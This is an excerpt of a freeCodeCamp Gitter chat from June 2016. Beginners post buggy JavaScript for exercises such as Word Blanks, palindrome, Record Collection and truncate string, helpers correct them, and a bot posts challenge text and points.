George Green
@george-fg
Jun 15 2016 01:39
Hey guys, does anyone know how to complete the word blanks task? I don't understand what I supposed to do.

function wordBlanks(myNoun, myAdjective, myVerb, myAdverb) {
var result = "";
// Your code below this line

// Your code above this line
return result;
}

// Change the words here to test your function
wordBlanks("dog", "big", "ran", "quickly");

Dylan
@dhcodes
Jun 15 2016 01:40
@george-fg you add the variables together
Diego Mayer
@Chrono79
Jun 15 2016 01:40
did you read mad libs link? @george-fg
check this challenge too: https://www.freecodecamp.com/challenges/constructing-strings-with-variables
Dylan
@dhcodes
Jun 15 2016 01:40
to make a sentence
and add some strings in there too
@george-fg
Michael Guest
@MichaelGuest
Jun 15 2016 01:40
@jcortes0309 I don't understand gi and ^ could you explain?
George Green
@george-fg
Jun 15 2016 01:42
@dhcodes @Chrono79 thanks, i'll see if I can come up with some thing :)
CamperBot
@camperbot
Jun 15 2016 01:42
george-fg sends brownie points to @dhcodes and @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1171 | @chrono79 |http://www.freecodecamp.com/chrono79
:star2: 1024 | @dhcodes |http://www.freecodecamp.com/dhcodes
Diego Mayer
@Chrono79
Jun 15 2016 01:42
:+1:
Vivienne Sales
@Natto278
Jun 15 2016 01:43
@george-fg In the Word Blanks challenge, spacing and the types of quotes (single quotes v. double quotes) are quite important.
Dylan
@dhcodes
Jun 15 2016 01:45
@MichaelGuest g means global, which means don't return on first instance of that match. i means case-insensitive, meaning upper or lower case, and ^ means "not" as in ^3 (not 3)
@MichaelGuest www.regexone.com for good practice
Diego Mayer
@Chrono79
Jun 15 2016 01:46
^ also means the start of the string @dhcodes @MichaelGuest
Michael Guest
@MichaelGuest
Jun 15 2016 01:46
Thanks @Chrono79 @Chrono79
CamperBot
@camperbot
Jun 15 2016 01:46
michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:warning: michaelguest already gave chrono79 points
Michael Guest
@MichaelGuest
Jun 15 2016 01:46
Thanks @dhcodes
CamperBot
@camperbot
Jun 15 2016 01:46
michaelguest sends brownie points to @dhcodes :sparkles: :thumbsup: :sparkles:
:star2: 1025 | @dhcodes |http://www.freecodecamp.com/dhcodes
Juan Cortes
@jcortes0309
Jun 15 2016 01:46
Thanks @dhcodes for answering @MichaelGuest question
CamperBot
@camperbot
Jun 15 2016 01:46
jcortes0309 sends brownie points to @dhcodes and @michaelguest :sparkles: :thumbsup: :sparkles:
:star2: 1026 | @dhcodes |http://www.freecodecamp.com/dhcodes
:cookie: 276 | @michaelguest |http://www.freecodecamp.com/michaelguest
Dylan
@dhcodes
Jun 15 2016 01:47
oh your welcome
everyone is so friendly tonight
Juan Cortes
@jcortes0309
Jun 15 2016 01:47
I didn't remember what ^ meant
Haha, yes. Everyone trying to learn more by helping others
Dylan
@dhcodes
Jun 15 2016 01:49
i'm just here to procrastinate
Michael Guest
@MichaelGuest
Jun 15 2016 01:49
I got
/* jshint esversion: 6 */
function palindrome(str) {
  let arrstr = str.replace(/[^A-Za-z0–9]/g,).split("").reverse().join("");
  if(str === arrstr){
    return true;
  }
else {
  return false;
  }
}


palindrome("eye");
What do I need to put after the , in .replace
George Green
@george-fg
Jun 15 2016 01:50
@Chrono79 @dhcodes I still don't understand what code I am supposed to write in the function for the Word Blanks. I am really confused. :(
Diego Mayer
@Chrono79
Jun 15 2016 01:50
@MichaelGuest after the , ""
but you're still comparing to str, that's not cleaned, and with cleaned I mean stripped of non alphanumerical chars and all lowercase or all uppercase
Dylan
@dhcodes
Jun 15 2016 01:51
@george-fg they give you a bunch of variables
you need to use them to make a sentence
with some strings concatenated in between
ex.
Michael Guest
@MichaelGuest
Jun 15 2016 01:51
@Chrono79 what do you mean by its not clean?
Diego Mayer
@Chrono79
Jun 15 2016 01:51
what I just wrote there
Dylan
@dhcodes
Jun 15 2016 01:52
"a " + var1 + var2 + " ran into " + var3
@george-fg
Diego Mayer
@Chrono79
Jun 15 2016 01:52
@dhcodes remember the spaces between vars
George Green
@george-fg
Jun 15 2016 01:52
@dhcodes ok, that looks promising. brb :)
Michael Guest
@MichaelGuest
Jun 15 2016 01:53
@Chrono79 doesnt my regex expression strip str of non alpha numerics?
Juan Cortes
@jcortes0309
Jun 15 2016 01:53
@MichaelGuest you need to clean str first. You are not cleaning str
Chris Cullen
@123xylem
Jun 15 2016 01:53

function telephoneCheck(str) {
  str=str.split("");
  for(i=0;i<str.length;i++){
    if(str[0]!==1 || str[0]!==5){
      //if str element1 isnt 1 or 5 say false
      return false;
    }
    if(str[i]===/[a-z]/){
    //if theres a letter in str say false
  return false;
    }
  }
  return str;
}
telephoneCheck("1 555-555-5555");
Why isit returning false on first if?
Diego Mayer
@Chrono79
Jun 15 2016 01:54
@MichaelGuest replace doesn't affect the string you applied it, it returns another string, and you assinged that to arrstr
Chris Cullen
@123xylem
Jun 15 2016 01:54
even if i return str[0[ it shows 1
Michael Guest
@MichaelGuest
Jun 15 2016 01:54
Oh I get it. It needs to be after .join
Diego Mayer
@Chrono79
Jun 15 2016 01:54
@MichaelGuest no, do the following, str = str.replace(...).toLowerCase() (or toUppercase()) and in another line create another var if you wish that reverses that string
Marian Menschig
@mmenschig
Jun 15 2016 01:55
@123xylem is this the phone validator? It can be written in a single regex line
Chris Cullen
@123xylem
Jun 15 2016 01:56
@mmenschig probably ... I can make it better later but I want to do it first
like I can refine it later
Diego Mayer
@Chrono79
Jun 15 2016 01:57
@123xylem can you use a regex like that?
Michael Guest
@MichaelGuest
Jun 15 2016 01:57
@Chrono79 Should I take out spilt? Do I need to make another line or can I reverse it on the same line?
Chris Cullen
@123xylem
Jun 15 2016 01:57
@Chrono79 well its failing the first IF not the second one
@Chrono79 the regex isnt tested et
yet
Diego Mayer
@Chrono79
Jun 15 2016 01:58
@MichaelGuest I would do 2 or three lines, for clarity, you can go for brevity later
Michael Guest
@MichaelGuest
Jun 15 2016 01:59
@Chrono79 Sweet Thanks!
CamperBot
@camperbot
Jun 15 2016 01:59
michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:warning: michaelguest already gave chrono79 points
Diego Mayer
@Chrono79
Jun 15 2016 02:00
@123xylem are you sure they're numbers and not strings?
Chris Cullen
@123xylem
Jun 15 2016 02:00
@Chrono79 yea i made it an array
with .split
Ivan Miranda
@ivannash23
Jun 15 2016 02:00
hey guys i need some help
Diego Mayer
@Chrono79
Jun 15 2016 02:01
they still can be strings of length 1
andreas2249
@andreas2249
Jun 15 2016 02:01

Had asked about this earlier today why this doesn't work. Was referred to some great links but as a noobie, they're way over my head. How can I fix this to iterate over the loop without failing before it gets started, please?

  for (i = 1; i <= 6; i++) {
    setTimeout(function() {
      document.getElementById("section-" + i).innerHTML = "Swap out text (" + i + ")";
    }, i * 1000)(i);
  }

Thanks in advance.

Chris Cullen
@123xylem
Jun 15 2016 02:01
@Chrono79 o... How do i remove the "" from them on split?
Aakash Basnet
@idiosincrasia
Jun 15 2016 02:02
How to define public methods inside a constructor?
Diego Mayer
@Chrono79
Jun 15 2016 02:03
@123xylem your if condition is wrong, it's always true
@123xylem you could use parseInt or +varName to cast them to numbers
or you can compare in the ifs to "1" or "5"
Chris Cullen
@123xylem
Jun 15 2016 02:05
@Chrono79 yea thanks
CamperBot
@camperbot
Jun 15 2016 02:05
123xylem sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1172 | @chrono79 |http://www.freecodecamp.com/chrono79
Chris Cullen
@123xylem
Jun 15 2016 02:05
but Its still failing the first if statement
Diego Mayer
@Chrono79
Jun 15 2016 02:05
@123xylem yes, the first is always true
Chris Cullen
@123xylem
Jun 15 2016 02:06
because it cant be 1 and 5?
Diego Mayer
@Chrono79
Jun 15 2016 02:06
no, because it can always be not 1 or not 5, well it's the same I guess, but what I wrote sound better ;)
when it's 1 is not 5 and viceversa and any other number is not 1 and not 5
silver537
@silver537
Jun 15 2016 02:09
caeser cipher is kicking my ass right now
Diego Mayer
@Chrono79
Jun 15 2016 02:09
@idiosincrasia public method, this.nameOfTheMethod = function...
George Green
@george-fg
Jun 15 2016 02:11

Hey Guys, I'm still stuck. here is what I've got so far for the Word Blanks task.

function wordBlanks(myNoun, myAdjective, myVerb, myAdverb) {
var result = "";
// Your code below this line
result = "I am a " + myNoun + "that is " + myAdjective " who " + myVerb " very" + myAdverb;

// Your code above this line
return result;
}

// Change the words here to test your function
wordBlanks("dog", "big", "ran", "quickly");

Diego Mayer
@Chrono79
Jun 15 2016 02:12
@george-fg missing some spaces and some +
Josh Terry
@jaywikid
Jun 15 2016 02:12
missing spaces
Can anyone help me with the Stand in Line assignment?
Diego Mayer
@Chrono79
Jun 15 2016 02:12
yes
Michael Guest
@MichaelGuest
Jun 15 2016 02:13
@Chrono79 is this good?
/* jshint esversion: 6 */
function palindrome(str) {
  const regex = /[^A-Za-z0-9]/g;
  const lowercaseRegexStr = str.toLowerCase().replace(regex, '');
  const reverseStr = lowercaseRegexStr.split('').reverse().join('');
  return reverseStr === lowercaseRegexStr;
palindrome("eye");
Josh Terry
@jaywikid
Jun 15 2016 02:13
I am not exactly sure what its asking me to do
George Green
@george-fg
Jun 15 2016 02:13
It works ! THANK YOU @Chrono79
CamperBot
@camperbot
Jun 15 2016 02:13
george-fg sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:warning: george-fg already gave chrono79 points
Diego Mayer
@Chrono79
Jun 15 2016 02:13
@MichaelGuest aren't you missing some } ?
Michael Guest
@MichaelGuest
Jun 15 2016 02:14
@Chrono79 Oh yeah thanks haha
CamperBot
@camperbot
Jun 15 2016 02:14
:star2: 1173 | @chrono79 |http://www.freecodecamp.com/chrono79
michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
Diego Mayer
@Chrono79
Jun 15 2016 02:14
@jaywikid you have to use 2 array manipulation methods from these 4: pop, push, shift and unshift
help stand in line
CamperBot
@camperbot
Jun 15 2016 02:15

:point_right: challenge stand in line [wiki]

Challenge Stand In Line

About queues

In Computer Science a queue is an abstract Data Structure_ where items are kept in order. New items can be added at the back of the queue and old items are taken off from the front of the _queue.

Instructions

Write a function nextInLine which takes an "array" and an "item" as arguments.

Add the item onto the end of the array, then remove the first element of the array.

The nextInLine function should return the element that was removed.

Remember to use Read-Search-Ask if you get stuck. Try to pair program. Write your own code.

:pencil: read more about challenge stand in line on the FCC Wiki

Mitul Shah
@mitul-s
Jun 15 2016 02:16
hello, i'm having trouble with "escape sequences in strings" under js
Diego Mayer
@Chrono79
Jun 15 2016 02:16
and your code is?
Mitul Shah
@mitul-s
Jun 15 2016 02:16
fairly simple, but my code won't pass
var myStr = '\wtf \twtf \twtf \rwtf \nwtf'
Arjun
@arjunsingh81989
Jun 15 2016 02:17
anyone can recommend a JavaScript Bible: taking someone from an absolute beginner to a master
Mitul Shah
@mitul-s
Jun 15 2016 02:17
in the console, it shows it correctly
silver537
@silver537
Jun 15 2016 02:17
@arjunsingh81989 search javascript documentation. you have many to choose from.
Diego Mayer
@Chrono79
Jun 15 2016 02:17
wtf is wtf? :P
Michael Guest
@MichaelGuest
Jun 15 2016 02:17
@Chrono79 Why do I need to do return reverseStr === lowercaseRegexStr;?
Mitul Shah
@mitul-s
Jun 15 2016 02:18
@Chrono79 literally just a random string haha
Arjun
@arjunsingh81989
Jun 15 2016 02:18
any good mentions apart from docs
Diego Mayer
@Chrono79
Jun 15 2016 02:18
@mitul-s delete it
@MichaelGuest you have to compare too similar strings
if one of them has uppercase letters or spaces or commas and the other not, they won't be never the same
Chris Cullen
@123xylem
Jun 15 2016 02:19
   }
    if(b[i]===/[a-z]/){
    //if theres a letter in str say false..-------------------------------Why is this is not filtering letters in an array of numbers and letters?
  return false;
Mitul Shah
@mitul-s
Jun 15 2016 02:19
@Chrono79 i tried that as well, then it just shows the escape squences
Chris Cullen
@123xylem
Jun 15 2016 02:19
Its returning true
for that
["1","2","3","","","&","!","!","a","s","d","f","#"]
silver537
@silver537
Jun 15 2016 02:20
there's no answers for logic. when it comes to logic, there's many ways to arrive to the same result.
Michael Guest
@MichaelGuest
Jun 15 2016 02:20
@Chrono79 isnt it the same string?
Diego Mayer
@Chrono79
Jun 15 2016 02:21
@MichaelGuest yes and no, one is the reversed version of the other, they're the same when the word is a palindrome
Michael Guest
@MichaelGuest
Jun 15 2016 02:21
@Chrono79 Thanks!
CamperBot
@camperbot
Jun 15 2016 02:21
michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:warning: michaelguest already gave chrono79 points
Diego Mayer
@Chrono79
Jun 15 2016 02:21
@mitul-s use `at the start and at the end of your line of code here, just to see it formatted
Mitul Shah
@mitul-s
Jun 15 2016 02:25
@Chrono79 that just turns it into a comment
' or `
Diego Mayer
@Chrono79
Jun 15 2016 02:25
backticks
like this
silver537
@silver537
Jun 15 2016 02:25
help format
CamperBot
@camperbot
Jun 15 2016 02:25

:point_right: code formatting [wiki]

Multi line Code

```js ⇦ Type 3 backticks and then press [shift + enter ⏎] (type js or html or css)

<paste your code here>,
then press [shift + enter ⏎]

``` ⇦ Type 3 backticks, then press [enter ⏎]

Single line Code

This an inline `<paste code here>` code formatting with a single backtick() at _start_ and _end_ around thecode`.

See also: ☛ How to type Backticks | ☯ Compose Mode | ❄ Gitter Formatting Basics

:pencil: read more about code formatting on the FCC Wiki

Diego Mayer
@Chrono79
Jun 15 2016 02:25
but it's for reading it here, not in the challenge window
Mitul Shah
@mitul-s
Jun 15 2016 02:26
ohh lmao
var myStr = \\ \t \t \r \n
silver537
@silver537
Jun 15 2016 02:26
there ya go
Diego Mayer
@Chrono79
Jun 15 2016 02:26
use quotes or double quotes around the escaped sequence
Mitul Shah
@mitul-s
Jun 15 2016 02:26
the quotations were there, sorry took them out since backticks
i thought you meant in the terminal earlier lol
var myStr = "\\ \t \t \r \n"

TypeError: "\

" is not a function

Diego Mayer
@Chrono79
Jun 15 2016 02:28
add a semicolon at the end and try that in the challenge, if that doesn't work, refresh your browser and try again
Mitul Shah
@mitul-s
Jun 15 2016 02:28
this is the error I get
still won't work, whatever i'll deal with this another day
thank you @Chrono79
CamperBot
@camperbot
Jun 15 2016 02:29
mitul-s sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1174 | @chrono79 |http://www.freecodecamp.com/chrono79
John Calhoun
@DougCal
Jun 15 2016 02:30
Having a lot of troubles with the 'Record Collection' challenge. I can't get a single check.
It doesn't seem to show the entire code on here, so you may have to use the external link.
MZ
@flipmz
Jun 15 2016 02:32
hello
Diego Mayer
@Chrono79
Jun 15 2016 02:33
@DougCal review these challenges first:
Accessing Objects Properties with the Dot Operator
Accessing Objects Properties with Bracket Notation
Accessing Objects Properties with Variables
Updating Object Properties
Add New Properties to a JavaScript Object
Delete Properties from a JavaScript Object
Using Objects for Lookups
Testing Objects for Properties
Thomas Nguyen
@thomasnguyen
Jun 15 2016 02:37
need help on the wikipedia viwer and ajax
https://codepen.io/toshiru/pen/EyyxyX
does the jquery ajax part look off to anyone?
i cant get the sucess function to run
Diego Mayer
@Chrono79
Jun 15 2016 02:40
@toshiru I see it running
Umair
@umairbalani
Jun 15 2016 02:40
Combine the two if statements into one statement which returns "Outside" if val is not between 10 and 20, inclusive. Otherwise, return "Inside".
Jonathan Carroll
@gkcodeman
Jun 15 2016 02:40

```
function myLocalScope() {
'use strict';

console.log(myVar);
}
myLocalScope(myVar);

// Run and check the console
// myVar is not defined outside of myLocalScope
console.log(myVar);

// Now remove the console log line to pass the test

```getting stuck here. It's asking me to run the tests and then follow the instructions commented out in the editor.

ugh sorry
Umair
@umairbalani
Jun 15 2016 02:41

'''
function testLogicalOr(val) {
// Only change code below this line

if (val != 10 || val >= 20) {
return "Outside";
}

// Only change code above this line
return "Inside";
}

// Change this value to test
testLogicalOr(15);
```

CamperBot
@camperbot
Jun 15 2016 02:41
:bulb: to format code use backticks! ``` more info
Umair
@umairbalani
Jun 15 2016 02:41
function testLogicalOr(val) {
  // Only change code below this line

  if (val != 10 || val >= 20) {
    return "Outside";
  }



  // Only change code above this line
  return "Inside";
}

// Change this value to test
testLogicalOr(15);
Diego Mayer
@Chrono79
Jun 15 2016 02:41
@umairbalani this if (val != 10 || val >= 20) { is not the same as between 10 and 20 inclusive, fix val != 10
Thomas Nguyen
@thomasnguyen
Jun 15 2016 02:41
@Chrono79 I don't see the console printing out my console log statement
Diego Mayer
@Chrono79
Jun 15 2016 02:42
@toshiru click in console of codepen, not your browser console, bottom left
V Arun Kumar
@arunvkumr
Jun 15 2016 02:43
@arjunsingh81989 try this jsforcats.com
DuskyPixel
@DuskyPixel
Jun 15 2016 02:43
```
Jonathan Carroll
@gkcodeman
Jun 15 2016 02:43
function myLocalScope() {
  'use strict';


  console.log(myVar);
}
myLocalScope(myVar);

// Run and check the console
// myVar is not defined outside of myLocalScope
console.log(myVar);

// Now remove the console log line to pass the test
DuskyPixel
@DuskyPixel
Jun 15 2016 02:43
```
Jonathan Carroll
@gkcodeman
Jun 15 2016 02:44
not sure what's it's wanting me to do here. says to now run the tests and follow the instructions commented out in the editor
Thomas Nguyen
@thomasnguyen
Jun 15 2016 02:44
@Chrono79 I did on codepen and I get nothing. Could it be my browser?
Diego Mayer
@Chrono79
Jun 15 2016 02:44
@gkcodeman reset your challenge
DuskyPixel
@DuskyPixel
Jun 15 2016 02:44
```
Is there an easier way to do this?
cardClicked('cardOne');
document.getElementById('cardOne').onclick= function (){
}
document.getElementById('cardTwo').onclick= function (){
Jonathan Carroll
@gkcodeman
Jun 15 2016 02:44
@Chrono79 ok i'll try that
DuskyPixel
@DuskyPixel
Jun 15 2016 02:44
cardClicked('cardTwo');
}
document.getElementById('cardThree').onclick= function (){
cardClicked('cardThree');
}
document.getElementById('cardFour').onclick= function (){
cardClicked('cardFour');
}
```
Arjun
@arjunsingh81989
Jun 15 2016 02:45
@arunkumrv Thanks, any book .. I know JS Good Parts is good, but any other suggestions
CamperBot
@camperbot
Jun 15 2016 02:45
arjunsingh81989 sends brownie points to @arunkumrv :sparkles: :thumbsup: :sparkles:
:cookie: 551 | @arunkumrv |http://www.freecodecamp.com/arunkumrv
Diego Mayer
@Chrono79
Jun 15 2016 02:45
@toshiru are you watching codepen console then?
Thomas Nguyen
@thomasnguyen
Jun 15 2016 02:46
yes, and I don't get the console.log("no") printed out. Hmm this is weird. Are you able to?
Diego Mayer
@Chrono79
Jun 15 2016 02:46
yes
Thomas Nguyen
@thomasnguyen
Jun 15 2016 02:47
yep, this is really weird haha
ill try a different computer perhaps
Umair
@umairbalani
Jun 15 2016 02:50
function testLogicalOr(val) {
  // Only change code below this line

  if (val > 10 || val >= 20) {
    return "Outside";
  }



  // Only change code above this line
  return "Inside";
}

// Change this value to test
testLogicalOr(15);
Thomas Nguyen
@thomasnguyen
Jun 15 2016 02:50
funnily enough, in safari i'm about to get the error function to run
V Arun Kumar
@arunvkumr
Jun 15 2016 02:51
@arjunsingh81989 you can try eloquent js this is also a good book for js. And if you have enough time then you can learn from YouTube as well, search for js videos and start learning. The main thing in programming is you have to practice to understand how things are working, so practice a lot and you will get hang of it.
Umair
@umairbalani
Jun 15 2016 02:51
Combine the two if statements into one statement which returns "Outside" if val is not between 10 and 20, inclusive. Otherwise, return "Inside".
Diego Mayer
@Chrono79
Jun 15 2016 02:52
@umairbalani val > 10 isn't right either, in fact you should use the exact opposite
Umair
@umairbalani
Jun 15 2016 02:53
What's operator used for between in JS
V Arun Kumar
@arunvkumr
Jun 15 2016 02:53
@umairbalani for both conditions to get true use logical and &&.
Umair
@umairbalani
Jun 15 2016 02:54
@Chrono79 thanks
CamperBot
@camperbot
Jun 15 2016 02:54
:star2: 1175 | @chrono79 |http://www.freecodecamp.com/chrono79
umairbalani sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
Diego Mayer
@Chrono79
Jun 15 2016 02:55
@arunkumrv one number can't be < 10 and > 20 at the same time
Eric
@Code-Eric
Jun 15 2016 02:55
function repeatStringNumTimes(str, num) {
  // repeat after me
  var arr = [];
  var i = 0;
  while (i < num){
    arr.push(str);
    i++;
    if (i === num)
     break;

  }
  arr.join('');
  return arr;


}

repeatStringNumTimes("abc", 3);
it does not work on freecode camp but it works in my IDE
Thomas Nguyen
@thomasnguyen
Jun 15 2016 02:56
@Chrono79 nvm i found it. I forgot to give button the type="button". Thanks @Chrono79
CamperBot
@camperbot
Jun 15 2016 02:56
toshiru sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1176 | @chrono79 |http://www.freecodecamp.com/chrono79
John Calhoun
@DougCal
Jun 15 2016 02:56
Went at it again and still can't seem to get a single check. I need serious help with this challenge.
You'll have to use the external link to see the entire code. The challenge is called 'Record Collection.'
Diego Mayer
@Chrono79
Jun 15 2016 02:57

@DougCal

if(value !== "" && prop != "tracks"){
    prop = value; // prop is a parameter of your function, you don't need to change it's value

  } else if(prop == "tracks" && value !== ""){
    return tracks[value].push; // tracks[value] doesn't exist, so you can't use push either

  } else if(id.tracks === ""){ //what is this condition?
    return;

  } else if(value === ""){
    delete updateRecords.prop; //updateRecords is your function name

  }

all inside the ifs is wrong

V Arun Kumar
@arunvkumr
Jun 15 2016 02:57
@Chrono79 I meant for inside condition. If num is between 10 and 20, inclusive. (> 10 and <= 20).
John Calhoun
@DougCal
Jun 15 2016 02:59
Starting with the first 2 lines then, I can use some in understanding what this is implying: "If value is non-blank (value !== "") and prop is not "tracks" then update or set the value for the prop".
Diego Mayer
@Chrono79
Jun 15 2016 02:59
@arunkumrv ok, inside was returned by default anyway
John Calhoun
@DougCal
Jun 15 2016 02:59
@Chrono79
Most specifically, when it says 'then update or set the value for the prop.'
Eric
@Code-Eric
Jun 15 2016 03:01
haha im stupid nevermind
Diego Mayer
@Chrono79
Jun 15 2016 03:02
@DougCal that prop means collection[id][prop] value (maybe they should have written property, not prop)
I suggested reviewing those challenges because you have to use all that you learned there, here in this challenge
John Calhoun
@DougCal
Jun 15 2016 03:05
I checked them and then proceeded with some editing to get the code that I posted. Unfortunately, reviewing them isn't helping me much. This challenge is hard. @Chrono79
Justin Crawford
@JCrawford1122
Jun 15 2016 03:06
bf spinal tap
CamperBot
@camperbot
Jun 15 2016 03:06

:fire:Bonfire: Spinal Tap Case :link:

function spinalCase(str) {
  // "It's such a fine line between stupid, and clever."
  // --David St. Hubbins
  return str;
}

spinalCase('This Is Spinal Tap');

Convert a string to spinal case. Spinal case is all-lowercase-words-joined-by-dashes.

more info:  bf details | bf links | hint

JasonXiao2007
@JasonXiao2007
Jun 15 2016 03:06
hi
Justin Crawford
@JCrawford1122
Jun 15 2016 03:06
hint
CamperBot
@camperbot
Jun 15 2016 03:06
:construction: Spoilers are only in the Bonfire's Custom Room :point_right:
Diego Mayer
@Chrono79
Jun 15 2016 03:08
@DougCal I don't say it's not hard you have to focus on what are you trying to access/modify and how to access/modify it
V Arun Kumar
@arunvkumr
Jun 15 2016 03:09
@DougCal the challenge has given you the instructions to complete the challenge, convert those instructions into code you are good to go.
wiki records
CamperBot
@camperbot
Jun 15 2016 03:09
no wiki entry for: records
V Arun Kumar
@arunvkumr
Jun 15 2016 03:10
find records
CamperBot
@camperbot
Jun 15 2016 03:10
find records
nothing found
V Arun Kumar
@arunvkumr
Jun 15 2016 03:10
find updaterecords
CamperBot
@camperbot
Jun 15 2016 03:10
find updaterecords
nothing found
Diego Mayer
@Chrono79
Jun 15 2016 03:10
wiki record collection
CamperBot
@camperbot
Jun 15 2016 03:10

:point_right: challenge record collection [wiki]

Challenge Record Collection

Instructions

You are given a JSON object representing (a small part of) your record collection. Each album is identified by a unique id number and has several properties. Not all albums have complete information.

Write a function which takes an id, a property (prop), and a value.

For the given id in collection:

If value is non-blank (value !== ""), then update or set the value for the prop.

If the prop is "tracks" and value is non-blank, push the value onto the end of the tracks array.

If value is blank, delete that prop.

Always return the entire collection object.

Remember to use Read-Search-Ask if you get stuck. Try to pair program. Write your own code.

:pencil: read more about challenge record collection on the FCC Wiki

V Arun Kumar
@arunvkumr
Jun 15 2016 03:10
thanks man. @Chrono79
CamperBot
@camperbot
Jun 15 2016 03:10
arunkumrv sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles:
:star2: 1177 | @chrono79 |http://www.freecodecamp.com/chrono79
V Arun Kumar
@arunvkumr
Jun 15 2016 03:19

@DougCal Here are the instructions.. you need to focus on

If value is non-blank (value !== ""), then update or set the value for the prop.

if the passed argument 'value' is not empty then update or set the value of the prop of the record(not the prop argument).

If the prop is "tracks" and value is non-blank, push the value onto the end of the tracks array.

if the passed argument 'prop' value is tracks and value is not blank(or empty) then push value at end of tracks array.

If value is blank, delete that prop.

if the passed argument 'value' is blank then just delete the prop in record.

Always return the entire collection object.

This statement should be always in the code, always return the entire record collection.
You need to use push(), delete and you should know how to access the obj with bracket notation to get and set the values of obj.

Charmel
@Charmelsippio
Jun 15 2016 03:21
Hi I am at a complete loss on how to solve this:

function convertToF(celsius) {
var fahrenheit;
// Only change code below this line

// Only change code above this line
return fahrenheit;
}

// Change the inputs below to test your code
convertToF(30);

Diego Mayer
@Chrono79
Jun 15 2016 03:22
@DougCal @arunkumrv I'll add a couple of things to this:
maybe tracks property doesn't exist for a certain record, you need to create it
each record is collection[id] and a property of a record is collection[id][prop], not collection.id[prop] nor collection.id.prop
@Charmelsippio they gave you an algorithm for fahrenheit temp didn't they?
V Arun Kumar
@arunvkumr
Jun 15 2016 03:23
@Charmelsippio use the formula F=C9/5+32F = C * 9/5 + 32. it's given in the instructions.
bitgrower
@bitgrower
Jun 15 2016 03:27
"if the passed argument 'prop' value is tracks and value is not blank(or empty) then push value at end of tracks array." for Record Collection, this instruction really needs to up be updated, because test case #2 now has values which have you add a track when the "record" (id) in question has no "tracks" property ... which means you have to create one ... but even TRICKIER, it has to be an array, so you can't just create the property value pair in the way at least I would first think -- but must set the value of the tracks property to an array of 1 element ...
Diego Mayer
@Chrono79
Jun 15 2016 03:28
@bitgrower yes, also calling prop both the parameter and the actual record property isn't the wisest of choices
bitgrower
@bitgrower
Jun 15 2016 03:29
I am not sure who was asking for help with Record Collection, but I've noticed they have added (or changed) to have that test case ... it kind of caught me by surprise when I first saw a camper have problems with it ...
@Chrono79 oh yeah ... for sure -- I've found trying to talk about record collection because of that can be very confusing ...
...for a while -- since before they changed the function name & added/changed the test case ..
Eric
@Code-Eric
Jun 15 2016 03:32
function truncateString(str, num) {
  // Clear out that junk in your trunk
  var result;
  var Str = str.length;
  while (str.length >= str.slice(0,num).length) {
    if(num < 3) {
      result = str.slice(0,num) + '...';
      break;
      }
    else if (num > 3) {
      result = str.slice(0,num - 3) + '...';
      break;
      }
     else if (num === ) {
      result = str;
       break;
      }

    }
  return result;

}

truncateString("A-tisket a-tasket A green and yellow basket", 11);
Im having trouble figuring out what im supposed to do when num = str.length
Diego Mayer
@Chrono79
Jun 15 2016 03:35
@Code-Eric nothing
why using a loop?
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 03:36
hi guys i have a problem in Chunk Monkey problem
Eric
@Code-Eric
Jun 15 2016 03:36
i was just going along with it because it worked for the rest of the problem
@Chrono79
@Chrono79 i still dont know what to do. how do i get it to output the string?
V Arun Kumar
@arunvkumr
Jun 15 2016 03:37
they updated record collection, there is a new condition, i didn't know about that... :neutral_face:
Diego Mayer
@Chrono79
Jun 15 2016 03:38
@arunkumrv yes, they did
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 03:38
can any one help me please ?
Diego Mayer
@Chrono79
Jun 15 2016 03:38
let's see your code @MohammedAhmed49
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 03:39
i don't have any thing about the idea of how to solve the problem
Diego Mayer
@Chrono79
Jun 15 2016 03:39
@Code-Eric I'll get rid of the loop first
Eric
@Code-Eric
Jun 15 2016 03:39
oh i see i didnt need the while at all @Chrono79
Diego Mayer
@Chrono79
Jun 15 2016 03:40
@MohammedAhmed49 have you read what slice does?
FM
@mafelix
Jun 15 2016 03:40
@Code-Eric break down the problem and try to understand what it wants you to output
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 03:41
yeah i've read it but i don't know how to use it in the problem @Chrono79
Eric
@Code-Eric
Jun 15 2016 03:41
i think i understand that it wants me to output the entire string if number is equal to str.length
@mafelix
FM
@mafelix
Jun 15 2016 03:41
your breaks are kinda weird too man
and you're assigning a global variable in your if else statements
nvm you defined it as a global up top
Eric
@Code-Eric
Jun 15 2016 03:42
hold on let me show you what i have now
function truncateString(str, num) {
  // Clear out that junk in your trunk
  var result;


    if(num < 3) {
      result = str.slice(0,num) + '...';

      }
    else if (num > 3) {
      result = str.slice(0,num - 3) + '...';

      }
     else {
      return str;

      }


  return result;

}

truncateString("A-tisket a-tasket A green and yellow basket", 11);
Diego Mayer
@Chrono79
Jun 15 2016 03:43
@MohammedAhmed49 create a new array, and push slices of the original inside it. You can use a loop to do that several times
Eric
@Code-Eric
Jun 15 2016 03:43
it was brought to my attention that the loop was redundant
@mafelix
FM
@mafelix
Jun 15 2016 03:43
yea.
Mohammed Ahmed
@MohammedAhmed49
Jun 15 2016 03:44
@Chrono79 ummm i'll try to implement :)
bitgrower
@bitgrower
Jun 15 2016 03:44
okay, @Code-Eric I will tell you that when I had trouble with that challenge, the problem was that I hadn't read the instructions carefully enough .. specifically, in terms of what I was supposed to output ... there's kind of a gotcha in there ...
FM
@mafelix
Jun 15 2016 03:44
understanding the problem is a big part of the battle
Eric
@Code-Eric
Jun 15 2016 03:45
okay @bitgrower ill go back and read carefully like i should have already. hahaha although i cleared all the conditions beside getting it to return the entire string
Eugeniu Botnaru
@3ugen
Jun 15 2016 03:45
Can someone help me figure this challenge please. The explanation is clear, the example too, the instructions are also clear. But I can't add it all up together. This is what I came up with so far:

